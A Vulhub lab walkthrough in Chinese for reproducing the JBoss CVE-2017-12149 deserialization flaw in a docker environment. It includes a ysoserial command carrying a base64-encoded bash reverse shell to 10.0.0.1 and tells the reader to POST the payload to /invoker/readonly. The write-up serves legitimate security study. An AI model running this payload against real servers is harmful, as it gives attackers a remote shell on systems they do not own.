JBoss 5.x/6.x 反序列化漏洞(CVE-2017-12149)
Path jboss/CVE-2017-12149
該漏洞為 Java反序列化錯誤類型,存在于 Jboss 的 HttpInvoker 組件中的 ReadOnlyAccessFilter 過濾器中。該過濾器在沒有進行任何安全檢查的情況下嘗試將來自客戶端的數據流進行反序列化,從而導致了漏洞。
參考:
- https://mp.weixin.qq.com/s/zUJMt9hdGoz1TEOKy2Cgdg
- https://access.redhat.com/security/cve/cve-2017-12149
測試環境
運行測試環境
docker-compose up -d
首次執行時會有1~3分鐘時間初始化,初始化完成后訪問http://your-ip:8080/即可看到JBoss默認頁面。
漏洞復現
該漏洞出現在/invoker/readonly請求中,服務器將用戶提交的POST內容進行了Java反序列化:

所以,我們用常規Java反序列化漏洞測試方法來復現該漏洞。
編寫反彈shell的命令
我們使用bash來反彈shell,但由于Runtime.getRuntime().exec()中不能使用管道符等bash需要的方法,我們需要用進行一次編碼。
工具:http://www.jackson-t.ca/runtime-exec-payloads.html

序列化數據生成
使用ysoserial來復現生成序列化數據,由于Vulhub使用的Java版本較新,所以選擇使用的gadget是CommonsCollections5:
java -jar ysoserial.jar CommonsCollections5 "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4wLjAuMS8yMSAwPiYx}|{base64,-d}|{bash,-i}" > poc.ser
發送POC
生成好的POC即為poc.ser,將這個文件作為POST Body發送至/invoker/readonly即可:

成功反彈shell:

Vulhub 文檔